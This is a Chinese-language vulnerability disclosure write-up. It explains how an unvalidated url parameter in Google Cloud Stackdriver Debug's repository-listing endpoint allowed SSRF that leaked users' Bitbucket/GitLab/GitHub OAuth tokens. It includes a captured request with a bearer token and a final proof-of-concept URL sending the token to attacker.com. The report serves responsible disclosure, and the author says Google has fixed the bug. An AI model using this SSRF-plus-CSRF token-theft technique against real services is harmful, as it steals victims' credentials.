Google Cloud Platform StackDriver中的SSRF

阅读量    389428 |   稿费 70

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

在阅读这篇好文后,我对GAE进行了测试。在测试中发现Google Cloud Platform Stackdriver中有一个调试应用,用户可以向该应用导入源代码并进行调试。用户可以从Github,Gitlab或者Bitbucket中导入源代码,并直接在Stackdriver Debug页面中调试代码(详情见此)。

如果不正确地集成第三方应用程序会导致问题。我在测试此项功能的过程中就发现了一种特殊的SSRF漏洞。

让我们看看具体是怎么回事:

如果部署了App Engine应用,就可以在https://console.cloud.google.com/debug上看到有多种方法来将源代码导入这个调试应用。

单击Bitbucket上的“Select Source”按钮会弹出一个授权页面,问你是否允许Google在该应用中存储oauth令牌。

在oauth页面中授权后,用户将被重定向回google,并显示用户的bitbucket/gitlab/github仓库的详细信息

到目前为止,一切看起来都挺安全的,redirect_uri不能被篡改,state参数也使用正确。Google实际上是如何获取仓库列表和分支名称的呢?发现是通过两个请求:

第一个是列出来自bitbucket/gitlab/github的仓库

https//console.cloud.google.com/m/clouddiag/debug/v2/gitlab/listpid=groovy-plating- 250224

第二个是列出bitbucket/gitlab/github中的分支

https://console.cloud.google.com/m/clouddiag/debug/v2/gitlab/resourcelist?pid=groovy-plating-250224&url=https%3A%2F%2Fgitlab.com%2Fapi%2Fv4%2Fprojects%2Fprojectid%252Fproject-one%2Frepository%2Ftags

第二个对应解码为

https://console.cloud.google.com/m/clouddiag/debug/v2/gitlab/resourcelist?pid=groovy-plating-250224&url=https://gitlab.com/api/v4/projects/projectid/project-one/repository/tags

可以看到有个url参数,我把https://gitlab.com替换为https://xxxxxxx.burpcollaborator.net然后尝试判断是否存在SSRF保护。发现竟然是没有的。

更令人惊讶的是,从Burp Collaborator抓到的SSRF请求中还有些其他内容:

GET /?per_page=100 HTTP/1.1
Host: evdjffp55g27sbbipe7uqzx1tszin7.burpcollaborator.net
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Bearer 123bcad14289c8a9d3

这个请求带有包含Bitbucket access token(访问令牌)的Authorization请求头。考虑到这一点,可以将访问令牌和SSRF请求组合发送。因为如果没有用户访问令牌的话,Google不可能从API endpoint请求到个人信息。

现在已经清楚了解Google是如何和第三方应用程序集成并导入源代码的,以及Google如何从不同的API endpoint获取资源(比如分支名称,标签等)。

于是到了最后一步,利用这个SSRF漏洞将用户访问令牌发送到我们指定的任意url。思路很清晰,请求只是GET而不是POST,如果能够对终端用户实施GET请求的CSRF攻击,就只要构造exp url发给用户,于是Google的这个SSRF就会将受害者的访问令牌发给我们。

所幸的是请求中没有CSRF请求头,但是仍然有些请求头可能会阻止我们利用这个漏洞。比如x-pan-versionid、X-Goog-Request-Log-Data和网址为https://console.cloud.google.com/的Referer。如果在后端检查是否设置了这些请求头,同时验证Referer域名是否和发出SSRF请求前的console.cloud.google.com一致的话,漏洞就没法利用了。幸运的是,后端没有进行验证。

总而言之,为了利用此漏洞,攻击者需要一台监听HTTPS请求的服务器(比如burp collaborator),然后精心构造url,发送给将bitbucket/gitlab/github连接到Stackdriver的受害者,然后攻击者就能窃取来自Google SSRF请求中的访问令牌。

最终PoC:

https://console.cloud.google.com/m/clouddiag/debug/v2/gitlab/resourcelist?pid=groovy-plating-250224&url=https%3A%2F%2fattacker.com%2Fstealing.json

希望你喜欢这篇文章,Google已经修复了这个漏洞,修复也不完美,但我仍然无法绕过验证。有兴趣的话可以看下,要是能够绕过可以向https://g.co/vulnz报告!

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多